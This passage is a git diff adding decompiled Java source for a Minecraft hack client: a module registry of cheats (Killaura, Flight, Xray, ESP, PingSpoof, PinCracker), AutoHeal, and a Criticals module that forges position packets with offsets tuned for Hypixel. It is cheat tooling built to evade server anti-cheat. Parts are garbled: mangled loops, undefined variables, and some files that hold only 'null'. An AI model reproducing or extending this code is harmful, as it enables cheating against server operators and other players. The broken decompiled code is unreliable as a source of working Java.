+                String.format("%s has been removed from your friends list", new Object[] { args[1] }));
+            }
+            else if (args[0].equalsIgnoreCase("list")) {
+              if (FriendManager.friends.size() > 0) {
+                int friends = 1;
+                for (String fr : FriendManager.friends.values()) {
+                  Helper.sendMessage("> " + String.format("%s. %s", new Object[] { Integer.valueOf(friends), fr }));
+                  friends++;
+                }
+              } else {
+                Helper.sendMessage("> you dont have any you lonely fuck");
+              }
+            }
+          }
+          else if (args.length == 1) {
+            if (args[0].equalsIgnoreCase("list")) {
+              if (FriendManager.friends.size() > 0) {
+                int friends = 1;
+                for (String fr : FriendManager.friends.values()) {
+                  Helper.sendMessage(String.format("%s. %s", new Object[] { Integer.valueOf(friends), fr }));
+                  friends++;
+                }
+              } else {
+                Helper.sendMessage("you dont have any you lonely fuck");
+              }
+            }
+            else if ((args[0].equalsIgnoreCase("add")) || (args[0].equalsIgnoreCase("del"))) {
+              Helper.sendMessage(
+                "> " + EnumChatFormatting.GRAY + "Please enter a players name");
+            } else {
+              Helper.sendMessage(
+                "> Correct usage: " + EnumChatFormatting.GRAY + "Valid .f add/del <player>");
+            }
+          }
+          else if (args.length == 0) {
+            Helper.sendMessage(
+              "> Correct usage: " + EnumChatFormatting.GRAY + "Valid .f add/del <player>");
+          }
+          return null;
+        }
+      });
+  }
+  
+  public static boolean isFriend(String name)
+  {
+    return friends.containsKey(name);
+  }
+  
+  public static String getAlias(String name)
+  {
+    return (String)friends.get(name);
+  }
+  
+  public static HashMap<String, String> getFriends()
+  {
+    return friends;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/management/Manager.java b/src/minecraft/com/enjoytheban/management/Manager.java
new file mode 100644
index 0000000..240b639
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/management/Manager.java
@@ -0,0 +1,6 @@
+package com.enjoytheban.management;
+
+public abstract interface Manager
+{
+  public abstract void init();
+}
diff --git a/src/minecraft/com/enjoytheban/management/ModuleManager.java b/src/minecraft/com/enjoytheban/management/ModuleManager.java
new file mode 100644
index 0000000..9258f78
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/management/ModuleManager.java
@@ -0,0 +1,331 @@
+package com.enjoytheban.management;
+
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.misc.EventKey;
+import com.enjoytheban.api.events.rendering.EventRender2D;
+import com.enjoytheban.api.events.rendering.EventRender3D;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.module.modules.combat.AntiBot;
+import com.enjoytheban.module.modules.combat.AutoHeal;
+import com.enjoytheban.module.modules.combat.AutoSword;
+import com.enjoytheban.module.modules.combat.BowAimBot;
+import com.enjoytheban.module.modules.combat.Criticals;
+import com.enjoytheban.module.modules.combat.FastBow;
+import com.enjoytheban.module.modules.combat.Killaura;
+import com.enjoytheban.module.modules.combat.Regen;
+import com.enjoytheban.module.modules.combat.TPAura;
+import com.enjoytheban.module.modules.movement.Boost;
+import com.enjoytheban.module.modules.movement.Flight;
+import com.enjoytheban.module.modules.movement.Jesus;
+import com.enjoytheban.module.modules.movement.Longjump;
+import com.enjoytheban.module.modules.movement.NoSlow;
+import com.enjoytheban.module.modules.movement.Scaffold;
+import com.enjoytheban.module.modules.movement.Sneak;
+import com.enjoytheban.module.modules.movement.Speed;
+import com.enjoytheban.module.modules.movement.Sprint;
+import com.enjoytheban.module.modules.movement.Step;
+import com.enjoytheban.module.modules.movement.Teleport;
+import com.enjoytheban.module.modules.player.AntiVelocity;
+import com.enjoytheban.module.modules.player.AutoAccept;
+import com.enjoytheban.module.modules.player.Bobbing;
+import com.enjoytheban.module.modules.player.Dab;
+import com.enjoytheban.module.modules.player.FastUse;
+import com.enjoytheban.module.modules.player.Freecam;
+import com.enjoytheban.module.modules.player.InvCleaner;
+import com.enjoytheban.module.modules.player.Invplus;
+import com.enjoytheban.module.modules.player.MCF;
+import com.enjoytheban.module.modules.player.NoFall;
+import com.enjoytheban.module.modules.player.NoStrike;
+import com.enjoytheban.module.modules.player.SkinFlash;
+import com.enjoytheban.module.modules.player.Zoot;
+import com.enjoytheban.module.modules.render.Chams;
+import com.enjoytheban.module.modules.render.ChestESP;
+import com.enjoytheban.module.modules.render.ESP;
+import com.enjoytheban.module.modules.render.FullBright;
+import com.enjoytheban.module.modules.render.HUD;
+import com.enjoytheban.module.modules.render.Nametags;
+import com.enjoytheban.module.modules.render.NoRender;
+import com.enjoytheban.module.modules.render.Tracers;
+import com.enjoytheban.module.modules.render.Xray;
+import com.enjoytheban.module.modules.world.AntiVoid;
+import com.enjoytheban.module.modules.world.AutoArmor;
+import com.enjoytheban.module.modules.world.Banwave;
+import com.enjoytheban.module.modules.world.Blink;
+import com.enjoytheban.module.modules.world.ChestStealer;
+import com.enjoytheban.module.modules.world.Deathclip;
+import com.enjoytheban.module.modules.world.FastPlace;
+import com.enjoytheban.module.modules.world.NoRotate;
+import com.enjoytheban.module.modules.world.Phase;
+import com.enjoytheban.module.modules.world.PinCracker;
+import com.enjoytheban.module.modules.world.PingSpoof;
+import com.enjoytheban.module.modules.world.SafeWalk;
+import com.enjoytheban.module.modules.world.StaffAlerts;
+import com.enjoytheban.utils.render.gl.GLUtils;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.renderer.GlStateManager;
+import org.lwjgl.input.Keyboard;
+
+
+
+
+
+
+
+
+public class ModuleManager
+  implements Manager
+{
+  public static List<Module> modules = new ArrayList();
+  
+  private boolean enabledNeededMod = true;
+  
+  public boolean nicetry = true;
+  
+  public ModuleManager() {}
+  
+  public void init() {
+    modules.add(new HUD());
+    modules.add(new Sprint());
+    modules.add(new Killaura());
+    modules.add(new AntiVelocity());
+    modules.add(new Criticals());
+    modules.add(new Speed());
+    modules.add(new Longjump());
+    modules.add(new Flight());
+    modules.add(new NoFall());
+    modules.add(new Invplus());
+    modules.add(new NoSlow());
+    modules.add(new FastBow());
+    modules.add(new AntiBot());
+    modules.add(new Freecam());
+    modules.add(new MCF());
+    modules.add(new Nametags());
+    modules.add(new Tracers());
+    modules.add(new ESP());
+    modules.add(new Regen());
+    modules.add(new FastPlace());
+    modules.add(new NoRender());
+    modules.add(new FullBright());
+    modules.add(new ChestStealer());
+    modules.add(new AutoArmor());
+    modules.add(new AntiVoid());
+    modules.add(new AutoHeal());
+    modules.add(new NoRotate());
+    modules.add(new Scaffold());
+    modules.add(new Sneak());
+    modules.add(new SafeWalk());
+    modules.add(new Zoot());
+    modules.add(new Jesus());
+    modules.add(new Phase());
+    modules.add(new Chams());
+    modules.add(new Deathclip());
+    modules.add(new NoStrike());
+    modules.add(new SkinFlash());
+    modules.add(new AutoAccept());
+    modules.add(new Blink());
+    modules.add(new Banwave());
+    modules.add(new FastUse());
+    modules.add(new PingSpoof());
+    modules.add(new BowAimBot());
+    modules.add(new Xray());
+    modules.add(new ChestESP());
+    modules.add(new InvCleaner());
+    modules.add(new Step());
+    modules.add(new Dab());
+    modules.add(new Teleport());
+    modules.add(new AutoSword());
+    modules.add(new Boost());
+    modules.add(new Bobbing());
+    modules.add(new PinCracker());
+    modules.add(new TPAura());
+    modules.add(new StaffAlerts());
+    
+    readSettings();
+    
+
+    for (Module m : modules) {
+      m.makeCommand();
+    }
+    
+
+    EventBus.getInstance().register(new Object[] { this });
+  }
+  
+
+  public static List<Module> getModules()
+  {
+    return modules;
+  }
+  
+  public Module getModuleByClass(Class<? extends Module> cls)
+  {
+    for (Module m : modules) {
+      if (m.getClass() == cls)
+      {
+
+        return m; }
+    }
+    return null;
+  }
+  
+  public static Module getModuleByName(String name)
+  {
+    for (Module m : modules) {
+      if (m.getName().equalsIgnoreCase(name))
+      {
+
+        return m; }
+    }
+    return null;
+  }
+  
+  public Module getAlias(String name) { int length;
+    int i;
+    for (Iterator localIterator = modules.iterator(); localIterator.hasNext(); 
+        
+
+
+
+        i < length)
+    {
+      Module f = (Module)localIterator.next();
+      if (f.getName().equalsIgnoreCase(name)) {
+        return f;
+      }
+      String[] alias;
+      length = (alias = f.getAlias()).length;i = 0; continue;
+      String s = alias[i];
+      if (s.equalsIgnoreCase(name)) {
+        return f;
+      }
+      i++;
+    }
+    
+
+
+
+
+    return null;
+  }
+  
+  public List<Module> getModulesInType(ModuleType t)
+  {
+    List<Module> output = new ArrayList();
+    for (Module m : modules) {
+      if (m.getType() == t)
+      {
+
+        output.add(m); }
+    }
+    return output;
+  }
+  
+
+  @EventHandler
+  private void onKeyPress(EventKey e)
+  {
+    for (Module m : modules)
+    {
+      if (m.getKey() == e.getKey())
+      {
+
+
+        m.setEnabled(!m.isEnabled()); }
+    }
+  }
+  
+  @EventHandler
+  private void onGLHack(EventRender3D e) {
+    GlStateManager.getFloat(2982, (FloatBuffer)GLUtils.MODELVIEW.clear());
+    GlStateManager.getFloat(2983, (FloatBuffer)GLUtils.PROJECTION.clear());
+    GlStateManager.glGetInteger(2978, (IntBuffer)GLUtils.VIEWPORT.clear());
+  }
+  
+  @EventHandler
+  private void on2DRender(EventRender2D e)
+  {
+    if (enabledNeededMod) {
+      enabledNeededMod = false;
+      
+      for (Module m : modules)
+      {
+        if (enabledOnStartup)
+        {
+
+
+          m.setEnabled(true);
+        }
+      }
+    }
+  }
+  
+  private void readSettings()
+  {
+    List<String> binds = FileManager.read("Binds.txt");
+    String name; for (String v : binds) {
+      name = v.split(":")[0];String bind = v.split(":")[1];
+      Module m = getModuleByName(name);
+      
+      if (m != null)
+      {
+
+
+        m.setKey(Keyboard.getKeyIndex(bind.toUpperCase()));
+      }
+    }
+    
+    List<String> enabled = FileManager.read("Enabled.txt");
+    Module m; for (String v : enabled)
+    {
+      m = getModuleByName(v);
+      
+      if (m != null)
+      {
+
+
+        enabledOnStartup = true;
+      }
+    }
+    
+    Object vals = FileManager.read("Values.txt");
+    for (String v : (List)vals)
+    {
+      String name = v.split(":")[0];String values = v.split(":")[1];
+      
+      Module m = getModuleByName(name);
+      
+      if (m != null)
+      {
+
+
+
+        for (Value value : m.getValues()) {
+          if (value.getName().equalsIgnoreCase(values))
+          {
+            if ((value instanceof Option)) {
+              value.setValue(Boolean.valueOf(Boolean.parseBoolean(v.split(":")[2])));
+
+            }
+            else if ((value instanceof Numbers)) {
+              value.setValue(Double.valueOf(Double.parseDouble(v.split(":")[2])));
+            }
+            else
+            {
+              ((Mode)value).setMode(v.split(":")[2]);
+            }
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/Module.java b/src/minecraft/com/enjoytheban/module/Module.java
new file mode 100644
index 0000000..decf907
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/Module.java
@@ -0,0 +1,341 @@
+package com.enjoytheban.module;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.command.Command;
+import com.enjoytheban.management.CommandManager;
+import com.enjoytheban.management.FileManager;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.utils.Helper;
+import com.enjoytheban.utils.math.MathUtil;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.util.EnumChatFormatting;
+import org.lwjgl.input.Keyboard;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Module
+{
+  public String name;
+  private String suffix;
+  private int color;
+  private String[] alias;
+  private boolean enabled;
+  public boolean enabledOnStartup = false;
+  
+
+  private int key;
+  
+
+  public List<Value> values;
+  
+
+  public ModuleType type;
+  
+
+  private boolean removed;
+  
+
+  public Minecraft mc = Minecraft.getMinecraft();
+  
+
+  public static Random random = new Random();
+  
+  public Module(String name, String[] alias, ModuleType type)
+  {
+    this.name = name;
+    this.alias = alias;
+    this.type = type;
+    suffix = "";
+    key = 0;
+    removed = false;
+    enabled = false;
+    values = new ArrayList();
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public String[] getAlias()
+  {
+    return alias;
+  }
+  
+  public ModuleType getType()
+  {
+    return type;
+  }
+  
+  public boolean isEnabled()
+  {
+    return enabled;
+  }
+  
+  public boolean wasRemoved()
+  {
+    return removed;
+  }
+  
+  public void setRemoved(boolean removed) {
+    this.removed = removed;
+  }
+  
+  public String getSuffix()
+  {
+    return suffix;
+  }
+  
+  public void setSuffix(Object obj) {
+    String suffix = obj.toString();
+    if (suffix.isEmpty()) {
+      this.suffix = suffix;
+    } else {
+      this.suffix = String.format("§7- §f%s§7", new Object[] { EnumChatFormatting.GRAY + suffix });
+    }
+  }
+  
+  public void setEnabled(boolean enabled)
+  {
+    this.enabled = enabled;
+    if (enabled) {
+      onEnable();
+      EventBus.getInstance().register(new Object[] { this });
+    } else {
+      EventBus.getInstance().unregister(new Object[] { this });
+      onDisable();
+    }
+  }
+  
+  public void setColor(int color)
+  {
+    this.color = color;
+  }
+  
+  public int getColor()
+  {
+    return color;
+  }
+  
+  protected void addValues(Value... values)
+  {
+    for (Value value : values) {
+      this.values.add(value);
+    }
+  }
+  
+  public List<Value> getValues()
+  {
+    return values;
+  }
+  
+  public int getKey()
+  {
+    return key;
+  }
+  
+
+  public void setKey(int key)
+  {
+    this.key = key;
+    
+    String content = "";
+    
+    Client.instance.getModuleManager(); for (Module m : ModuleManager.getModules())
+    {
+      content = content + String.format("%s:%s%s", new Object[] { m.getName(), Keyboard.getKeyName(m.getKey()), System.lineSeparator() });
+    }
+    
+    FileManager.save("Binds.txt", content, false);
+  }
+  
+
+
+  public void onEnable() {}
+  
+
+  public void onDisable() {}
+  
+
+  public void makeCommand()
+  {
+    if (values.size() > 0)
+    {
+      String options = "";
+      String other = "";
+      
+      for (Value value : values) {
+        if (!(value instanceof Mode))
+        {
+
+          if (options.isEmpty()) {
+            options = String.valueOf(options) + value.getName();
+          } else {
+            options = String.valueOf(options) + String.format(", %s", new Object[] { value.getName() });
+          }
+        }
+      }
+      for (Value v : values) {
+        if ((v instanceof Mode))
+        {
+
+
+          Mode mode = (Mode)v;
+          
+          Enum[] modes;
+          int length = (modes = mode.getModes()).length; for (int i = 0; i < length; i++) {
+            Enum e = modes[i];
+            
+            if (other.isEmpty()) {
+              other = String.valueOf(other) + e.name().toLowerCase();
+            } else {
+              other = String.valueOf(other) + String.format(", %s", new Object[] { e.name().toLowerCase() });
+            }
+          }
+        }
+      }
+      
+      Client.instance.getCommandManager().add(new Command(name, alias, 
+        String.format("%s%s", new Object[] { options.isEmpty() ? "" : String.format("%s,", new Object[] { options }), 
+        other.isEmpty() ? "" : String.format("%s", new Object[] { other }) }), 
+        "Setup this module")
+        {
+
+
+
+          private final Module m = Module.this;
+          
+          public String execute(String[] args)
+          {
+            Mode mode;
+            if (args.length >= 2)
+            {
+              Option<Boolean> option = null;
+              Numbers<Double> val = null;
+              mode = null;
+              
+              for (Value value : m.values) {
+                if (((value instanceof Option)) && 
+                  (value.getName().equalsIgnoreCase(args[0])))
+                {
+
+                  option = (Option)value;
+                }
+              }
+              
+              if (option != null) {
+                option.setValue(Boolean.valueOf(!((Boolean)option.getValue()).booleanValue()));
+                Helper.sendMessage(
+                  String.format("> %s has been set to %s", new Object[] { option.getName(), option.getValue() }));
+              } else {
+                for (Value value2 : m.values) {
+                  if (((value2 instanceof Numbers)) && 
+                    (value2.getName().equalsIgnoreCase(args[0])))
+                  {
+
+                    val = (Numbers)value2;
+                  }
+                }
+                
+                if (val != null) {
+                  if (MathUtil.parsable(args[1], (byte)4)) {
+                    double value3 = MathUtil.round(Double.parseDouble(args[1]), 1);
+                    val.setValue(Double.valueOf(value3 > ((Double)val.getMaximum()).doubleValue() ? ((Double)val.getMaximum()).doubleValue() : value3));
+                    Helper.sendMessage(
+                      String.format("> %s has been set to %s", new Object[] { val.getName(), val.getValue() }));
+                  } else {
+                    Helper.sendMessage("> " + args[1] + " is not a number");
+                  }
+                }
+                
+                for (Value v : m.values) {
+                  if (args[0].equalsIgnoreCase(v.getDisplayName()))
+                  {
+                    if ((v instanceof Mode))
+                    {
+
+                      mode = (Mode)v;
+                    }
+                  }
+                }
+                if (mode != null) {
+                  if (mode.isValid(args[1])) {
+                    mode.setMode(args[1]);
+                    Helper.sendMessage(
+                      String.format("> %s set to %s", new Object[] { mode.getName(), mode.getModeAsString() }));
+                  }
+                  else
+                  {
+                    Helper.sendMessage("> " + args[1] + " is an invalid mode");
+                  }
+                }
+              }
+              
+              if ((val == null) && (option == null) && (mode == null)) {
+                syntaxError("Valid .<module> <setting> <mode if needed>");
+              }
+              
+            }
+            else if (args.length >= 1) {
+              Option<Boolean> option = null;
+              
+              for (Value value : m.values) {
+                if (((value instanceof Option)) && 
+                  (value.getName().equalsIgnoreCase(args[0])))
+                {
+
+                  option = (Option)value;
+                }
+              }
+              
+              if (option != null) {
+                option.setValue(Boolean.valueOf(!((Boolean)option.getValue()).booleanValue()));
+                String fuck = option.getName().substring(1);
+                String xd = option.getName().substring(0, 1).toUpperCase();
+                if (((Boolean)option.getValue()).booleanValue()) {
+                  Helper.sendMessage(String.format("> %s has been set to §a%s", new Object[] { xd + fuck, option.getValue() }));
+                } else {
+                  Helper.sendMessage(String.format("> %s has been set to §c%s", new Object[] { xd + fuck, option.getValue() }));
+                }
+              }
+              else
+              {
+                syntaxError("Valid .<module> <setting> <mode if needed>");
+              }
+            }
+            else
+            {
+              Helper.sendMessage(
+                String.format("%s Values: \n %s", new Object[] {
+                getName().substring(0, 1).toUpperCase() + 
+                getName().substring(1).toLowerCase(), 
+                getSyntax(), "false" }));
+            }
+            
+            return null;
+          }
+        });
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/ModuleType.java b/src/minecraft/com/enjoytheban/module/ModuleType.java
new file mode 100644
index 0000000..09d61e1
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/ModuleType.java
@@ -0,0 +1,6 @@
+package com.enjoytheban.module;
+
+public enum ModuleType
+{
+  Combat,  Render,  Movement,  Player,  World;
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/combat/AntiBot.java b/src/minecraft/com/enjoytheban/module/modules/combat/AntiBot.java
new file mode 100644
index 0000000..020e716
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/combat/AntiBot.java
@@ -0,0 +1,42 @@
+package com.enjoytheban.module.modules.combat;
+
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.Helper;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.IChatComponent;
+
+
+public class AntiBot
+  extends Module
+{
+  public AntiBot()
+  {
+    super("AntiBot", new String[] { "nobot", "botkiller" }, ModuleType.Combat);
+    setColor(new Color(217, 149, 251).getRGB());
+  }
+  
+  public boolean isServerBot(Entity entity)
+  {
+    if (isEnabled()) {
+      if (Helper.onServer("hypixel"))
+        return (!entity.getDisplayName().getFormattedText().startsWith("§")) || (entity.isInvisible()) || (entity.getDisplayName().getFormattedText().toLowerCase().contains("npc"));
+      if (Helper.onServer("mineplex")) {
+        for (Object object : mc.theWorld.playerEntities) {
+          EntityPlayer entityPlayer = (EntityPlayer)object;
+          if ((entityPlayer != null) && (entityPlayer != mc.thePlayer) && (
+            (entityPlayer.getName().startsWith("Body #")) || (entityPlayer.getMaxHealth() == 20.0F))) {
+            return true;
+          }
+        }
+      }
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/combat/AutoHeal.java b/src/minecraft/com/enjoytheban/module/modules/combat/AutoHeal.java
new file mode 100644
index 0000000..f8b04cb
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/combat/AutoHeal.java
@@ -0,0 +1,177 @@
+package com.enjoytheban.module.modules.combat;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPostUpdate;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.Slot;
+import net.minecraft.item.ItemPotion;
+import net.minecraft.item.ItemSoup;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.play.client.C09PacketHeldItemChange;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+
+public class AutoHeal extends Module
+{
+  private Numbers<Double> health = new Numbers("Health", "health", Double.valueOf(3.0D), Double.valueOf(0.0D), Double.valueOf(10.0D), Double.valueOf(0.5D)); private Numbers<Double> delay = new Numbers("Delay", "delay", Double.valueOf(400.0D), Double.valueOf(0.0D), Double.valueOf(1000.0D), Double.valueOf(10.0D));
+  
+  private Option<Boolean> jump = new Option("Jump", "jump", Boolean.valueOf(true));
+  
+  private Mode<Enum> mode = new Mode("Mode", "mode", HealMode.values(), HealMode.Potion);
+  
+  static boolean currentlyPotting = false;
+  
+
+  private TimerUtil timer = new TimerUtil();
+  private boolean isUsing;
+  
+  public AutoHeal() { super("AutoHeal", new String[] { "autopot", "autop", "autosoup" }, com.enjoytheban.module.ModuleType.Combat);
+    setColor(new Color(76, 249, 247).getRGB());
+    addValues(new com.enjoytheban.api.value.Value[] { health, delay, jump, mode });
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e) {
+    if ((timer.hasReached(((Double)delay.getValue()).doubleValue())) && (mc.thePlayer.getHealth() <= ((Double)health.getValue()).doubleValue() * 2.0D)) {
+      isUsing = (((this.slot = mode.getValue() == HealMode.Soup ? getSoupSlot() : mode.getValue() == HealMode.Potion ? getPotionSlot() : getPotionSlot()) != -1) && ((!((Boolean)jump.getValue()).booleanValue()) || (mc.thePlayer.onGround)));
+      if (isUsing) {
+        timer.reset();
+        if (mode.getValue() == HealMode.Potion) {
+          currentlyPotting = true;
+          e.setPitch(((Boolean)jump.getValue()).booleanValue() ? -90 : 90);
+          if (timer.hasReached(1.0D)) {
+            currentlyPotting = false;
+            timer.reset();
+          }
+        }
+      }
+    }
+  }
+  
+  @EventHandler
+  private void onUpdatePost(EventPostUpdate e) {
+    if (isUsing) {
+      int current = mc.thePlayer.inventory.currentItem;int next = mc.thePlayer.nextSlot();
+      mc.thePlayer.moveToHotbar(slot, next);
+      mc.thePlayer.sendQueue
+        .addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem = next));
+      mc.playerController.sendUseItem(mc.thePlayer, mc.theWorld, mc.thePlayer.getHeldItem());
+      mc.thePlayer.sendQueue
+        .addToSendQueue(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem = current));
+      isUsing = false;
+      if ((mc.thePlayer.onGround) && (((Boolean)jump.getValue()).booleanValue()) && (mode.getValue() == HealMode.Potion)) {
+        mc.thePlayer.setSpeed(0.0D);
+        mc.thePlayer.motionY = 0.42D;
+      }
+    }
+  }
+  
+  private int getPotionSlot()
+  {
+    int slot = -1;
+    for (Slot s : mc.thePlayer.inventoryContainer.inventorySlots)
+      if (s.getHasStack())
+      {
+
+        ItemStack is = s.getStack();
+        if ((is.getItem() instanceof ItemPotion))
+        {
+
+          ItemPotion ip = (ItemPotion)is.getItem();
+          if (ItemPotion.isSplash(is.getMetadata()))
+          {
+
+            boolean hasHealing = false;
+            for (PotionEffect pe : ip.getEffects(is))
+              if (pe.getPotionID() == healid)
+              {
+
+                hasHealing = true;
+                break;
+              }
+            if (hasHealing)
+            {
+
+              slot = slotNumber;
+              break;
+            } } } }
+    return slot;
+  }
+  
+  private int getSoupSlot() {
+    int slot = -1;
+    for (Slot s : mc.thePlayer.inventoryContainer.inventorySlots)
+      if (s.getHasStack())
+      {
+
+        ItemStack is = s.getStack();
+        if ((is.getItem() instanceof ItemSoup))
+        {
+
+          slot = slotNumber;
+          break;
+        } }
+    return slot;
+  }
+  
+  private int slot;
+  private int getPotionCount()
+  {
+    int count = 0;
+    for (Slot s : mc.thePlayer.inventoryContainer.inventorySlots)
+      if (s.getHasStack())
+      {
+
+        ItemStack is = s.getStack();
+        if ((is.getItem() instanceof ItemPotion))
+        {
+
+          ItemPotion ip = (ItemPotion)is.getItem();
+          if (ItemPotion.isSplash(is.getMetadata()))
+          {
+
+            boolean hasHealing = false;
+            for (PotionEffect pe : ip.getEffects(is))
+              if (pe.getPotionID() == healid)
+              {
+
+                hasHealing = true;
+                break;
+              }
+            if (hasHealing)
+            {
+
+              count++; }
+          } } }
+    return count;
+  }
+  
+  private int getSoupCount() {
+    int count = 0;
+    for (Slot s : mc.thePlayer.inventoryContainer.inventorySlots)
+      if (s.getHasStack())
+      {
+
+        ItemStack is = s.getStack();
+        if ((is.getItem() instanceof ItemSoup))
+        {
+
+          count++; }
+      }
+    return count;
+  }
+  
+  static enum HealMode {
+    Potion,  Soup;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/combat/AutoSword.java b/src/minecraft/com/enjoytheban/module/modules/combat/AutoSword.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/combat/AutoSword.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/module/modules/combat/BowAimBot.java b/src/minecraft/com/enjoytheban/module/modules/combat/BowAimBot.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/combat/BowAimBot.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/module/modules/combat/Criticals.java b/src/minecraft/com/enjoytheban/module/modules/combat/Criticals.java
new file mode 100644
index 0000000..4a3cadf
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/combat/Criticals.java
@@ -0,0 +1,94 @@
+package com.enjoytheban.module.modules.combat;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPacketSend;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.module.modules.movement.Speed;
+import com.enjoytheban.utils.Helper;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.ServerData;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.network.play.client.C02PacketUseEntity;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+
+
+public class Criticals
+  extends Module
+{
+  private Mode mode = new Mode("Mode", "mode", CritMode.values(), CritMode.Packet);
+  
+  private TimerUtil timer = new TimerUtil();
+  
+  public Criticals()
+  {
+    super("Criticals", new String[] { "crits", "crit" }, ModuleType.Combat);
+    setColor(new Color(235, 194, 138).getRGB());
+    addValues(new Value[] { mode });
+  }
+  
+  @EventHandler
+  private void onUpdate(EventPreUpdate e) {
+    setSuffix(mode.getValue());
+  }
+  
+  private boolean canCrit()
+  {
+    return (mc.thePlayer.onGround) && (!mc.thePlayer.isInWater()) && (!Client.instance.getModuleManager().getModuleByClass(Speed.class).isEnabled());
+  }
+  
+  @EventHandler
+  private void onPacket(EventPacketSend e)
+  {
+    if (((e.getPacket() instanceof C02PacketUseEntity)) && (canCrit()) && (mode.getValue() == CritMode.Minijumps)) {
+      mc.thePlayer.motionY = 0.2D;
+    }
+  }
+  
+
+  void packetCrit()
+  {
+    if ((timer.hasReached(Helper.onServer("hypixel") ? 500 : 10)) && (mode.getValue() == CritMode.Packet) && (canCrit()))
+    {
+      double[] offsets = { 0.0625D, 0.0D, 1.0E-4D, 0.0D };
+      
+      for (int i = 0; i < offsets.length; i++) {
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + offsets[i], mc.thePlayer.posZ, false));
+      }
+      
+      timer.reset();
+    }
+  }
+  
+  void offsetCrit()
+  {
+    if ((canCrit()) && (!mc.getCurrentServerData().serverIP.contains("hypixel"))) {
+      double[] offsets = { 0.0624D, 0.0D, 1.0E-4D, 0.0D };
+      for (int i = 0; i < offsets.length; i++) {
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + offsets[i], mc.thePlayer.posZ, false));
+      }
+    }
+  }
+  
+  public void hypixelCrit() {
+    if ((mode.getValue() == CritMode.Hypixel) && 
+      (canCrit())) {
+      for (double offset : new double[] { 0.06142999976873398D, 0.0D, 0.012511000037193298D, 0.0D }) {
+        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + offset, mc.thePlayer.posZ, true));
+      }
+    }
+  }
+  
+  static enum CritMode
+  {
+    Packet,  Hypixel,  Minijumps;
+  }
+}
